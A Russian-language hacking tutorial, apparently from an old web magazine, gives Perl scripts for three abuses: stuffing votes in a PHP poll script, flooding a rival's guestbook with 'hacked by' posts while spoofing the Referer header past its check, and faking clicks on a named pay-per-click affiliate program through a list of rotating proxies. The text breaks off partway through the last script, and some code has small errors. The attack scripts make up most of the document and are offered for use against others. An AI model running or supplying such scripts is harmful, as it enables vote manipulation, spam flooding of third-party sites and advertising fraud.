Несколько способов накрутки Наверно вам не раз хотелось накрутить счетчик или количество кликов на свой баннер, а может есть желание зафлудить гостевую или форум недруга? Итак сегодня я расскажу вам как всё это провернуть. Начнем с самого примитивного способа. Для примера я рассмотрю скрипт голосования Manlix SW Vote v 0.1 написанный на пхп. В скрипте используется форма, которая в html выглядит следующим образом:
Итак мы видим, что данные формы передаются скрипту nlxswvote.php методом get и ему передаются номер голосования id=1 и вариант ответа v=1,2,3,4. Т.е. заполнив форму и нажав на кнопку отправки мы передадим скрипту следующую строку: http://www.server.com/vote/mnlxswvote.php?id=1&v=1 Теперь попробуем накрутить. Пишем скрипт на Перле так как его можно будет запустить с шелла, а это есть хорошо 8) #!/usr/bin/perl use IO::Socket; # подрубаем сокеты $server="www.server.com"; # сервер к которому будем подключатся $port="80"; # порт $path="vote/mnlxswvote.php?id=1&v=1"; # а вот тут наш запрос # цикл for ($i=0; $i < 15; $i++){ $socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Photo => tcp) or die print "Unable to connect to $server:$port\n"; print $socket "GET $path HTTP/1.1\n"; print $socket "Host: $server\n"; print $socket "Accept: */*\n"; # пусть скрипт думает что запрос идет с cервака мЫкрософта print $socket "Referer: http://support.microsoft.com/\n"; # а наш агент осёл нумбер 6.0 print $socket "User-Agent: Internet Explorer 6.0\n"; # отрубаем кеширование print $socket "Pragma: no-cache\n"; print $socket "Cache-Control: no-cache\n"; print $socket "Connection: close\n\n"; } Идём дальше. Допустим у недруга стоит гостевая книга, которую вам ну очень хочется зафлудить. И форма для ввода сообщения имеет в html следующий вид: Допустим также что скрипт гостевой проверяет переменную окружения web-сервера HTTP-REFERER примерно таким способом: $referer=getenv("HTTP_REFERER"); if (!ereg("^http://www.server.com")) { echo "hacker? he-he...\n"; exit; } ?> Т.е. если данные переданы не из форм документа, находящегося на сервере www.server.com, хацкеру будет выдано деморализующее сообщение. Ну что начнем писать скрипт для флуда: #!/usr/bin/perl use IO::Socket; # подрубаем сокеты $server="www.server.com"; # сервер к которому будем подключатся $port="80"; # порт $path="guestbook.php"; # тут скрипт гостевой которому передаются данные # цикл for ($i=0; $i < 15; $i++){ $socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Photo => tcp) or die print "Unable to connect to $server:$port\n"; # данные отправляем методом post print $socket "POST $path HTTP/1.1\n"; print $socket "Host: $server\n"; print $socket "Accept: */*\n"; print $socket "Content-Type: application/x-www-form-urlencoded"; print $socket "Content-Length: 1000"; # т.к. проверяется переменная HTTP-REFERER, нам придется подправить эту # строчку ( пусть сообщения мы отправляем со странички guestbook.htm print $socket "Referer: http://www.server.com/guestbook.htm\n"; # а наш агент осёл нумбер 6.0 print $socket "User-Agent: Internet Explorer 6.0\n"; # т.к. используется метод post, то данные придется передавать в теле # сообщения запроса print $socket "nick=hacker\n"; print $socket "&message=hacked%20by%20Vasya%20Pupkin\n"; # отрубаем кеширование print $socket "Pragma: no-cache\n"; print $socket "Cache-Control: no-cache\n"; print $socket "Connection: close\n\n"; } Немного изменили скрипт и можем начинать флудить... хе-хе-хе Ну и немного вкусненького 8) Накручиваем клики...на примере бегущей строки от одной небезызвестной партнерской программы www.fitl.biz Итак они предлагают разместить на своем сайте бегущую строку и платят за клики... В чем отличие от рассмотренных ранее способов? Да в том что проверяется айпишник... т.е. засчитывается один клик с одного айпи в течении суток... Для накрутки нам необходимо создать файл содержащий адреса прокси серваков. Он должен иметь такой вид: адрес прокси : порт 200.23.209.209:8080 200.23.209.209:80 invis.free.anonymizer.com:80 www.aldan.sakha.ru:3128 Итак вот скрипт: #!/usr/bin/perl use IO::Socket; # открываем файл open (base, "proxy.lst") || die "Error! Can't open proxy list\n"; while (